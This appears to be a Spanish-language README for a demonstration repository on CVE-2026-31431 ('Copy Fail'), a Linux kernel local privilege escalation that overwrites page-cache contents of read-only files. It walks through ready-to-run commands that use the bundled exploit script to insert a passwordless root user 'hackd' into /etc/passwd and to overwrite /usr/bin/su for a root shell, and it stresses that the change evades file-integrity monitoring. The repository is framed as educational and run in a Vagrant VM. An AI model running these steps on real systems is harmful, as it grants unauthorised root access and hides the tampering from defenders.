
Una demostración y explicación de CVE-2026-31431
Una demostración y explicación de CVE-2026-31431, la vulnerabilidad de escalada local de privilegios por Copy Fail en el kernel de Linux. La vulnerabilidad permite que, en archivos abiertos con permiso de lectura, se sobrescriban datos en la caché de páginas.
Este repositorio es solo con fines educativos e ilustra la vulnerabilidad en un entorno controlado. Los archivos incluidos son:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
La vulnerabilidad, denominada Copy Fail, está presente en los kernels de Linux desde 2017 hasta 2026 debido a un fallo lógico en algif_aead. Se le ha asignado CVE-2026-31431 con una puntuación CVSS de 7.8, lo que resulta en una calificación de severidad alta. El exploit es determinista y puede evadir las herramientas tradicionales de monitorización de integridad de archivos.
Se han publicado pruebas de concepto en varios lenguajes, incluidos C, Python y Go, pero para esta demostración se utiliza Python y se requiere la versión 3.10 o superior de Python. Este exploit requiere ejecución local de código como un usuario sin privilegios y puede utilizarse para la escalada local de privilegios.
Las siguientes secciones son:
Asegúrate de tener Vagrant y QEMU instalados. Luego, clona este repositorio y navega al directorio del proyecto.
vagrant up
vagrant ssh
Dentro de la VM, podemos probar los límites de nuestras capacidades.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Obviamente nuestras capacidades están limitadas, pero podemos usar la vulnerabilidad para escalar privilegios.
Para entender la vulnerabilidad, sobrescribamos un archivo de prueba y veamos qué sucede.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Tenemos un archivo con tres líneas. La primera línea tiene 6 bytes (incluyendo el salto de línea), la segunda línea tiene 2 bytes y la tercera línea es un solo byte. Esto es importante porque el exploit sobrescribe datos en bloques de 4 bytes, y rellenamos el payload para completarlo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Podemos ver que hemos reemplazado los primeros 8 bytes del archivo con nuestro payload. Hay dos caracteres que están ahí pero no son imprimibles. Abre el archivo en nano para comprobarlo.
Pero esto no es demasiado emocionante, así que pasemos a escribir en archivos para los que no tenemos permisos de escritura.
Podemos sobrescribir el contenido de /etc/passwd para añadir un usuario con privilegios de root pero sin contraseña.
cat /etc/passwd
La primera línea contiene el usuario root y contiene 8 grupos de 4 caracteres (incluyendo el salto de línea). Tiene el siguiente formato root:x:0:0:root:/root:/bin/bash, y los valores se refieren a nombre de usuario, contraseña, UID, GID, directorio home y shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Hemos añadido un nuevo usuario hackd con UID 0 y GID 0, lo que significa que tiene privilegios de root. El campo de contraseña está vacío, por lo que podemos iniciar sesión sin contraseña.
su hackd
id
cat /etc/shadow
En el exploit original, el binario /usr/bin/su se sobrescribe con instrucciones para ejecutar una shell, lo que permite al atacante obtener privilegios de root al ejecutar su. Podemos recrear este exploit apuntando a /usr/bin/su con el payload original de un archivo.
Ten en cuenta que esto destruye el binario su en la caché de páginas.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Con el payload en su lugar, podemos ejecutar su y obtener privilegios de root. Esto abre una shell con id de usuario 0, que normalmente es el usuario root, pero si se realizó la demo anterior, sería el usuario hackd que creamos. Este exploit abriría una shell incluso si el usuario root tiene contraseña.
su
id
Este exploit no modifica el archivo en disco, sino el estado de la caché de páginas. Como resultado, las herramientas tradicionales de monitorización de integridad de archivos que comprueban cambios en los archivos en disco no detectan este exploit.
Para demostrarlo, ejecuta el/los exploit(s) anterior(es) y, después de reiniciar la VM, comprueba el contenido del archivo objetivo.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
En el exploit se utilizan los siguientes componentes:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loEl commit que habilitó la optimización in-place que creó esta vulnerabilidad:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
El parche se realizó sin ningún anuncio público y elimina la funcionalidad de la operación in-place en algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Leer más:
Implementaciones en Python
Implementaciones en C
Implementaciones en Go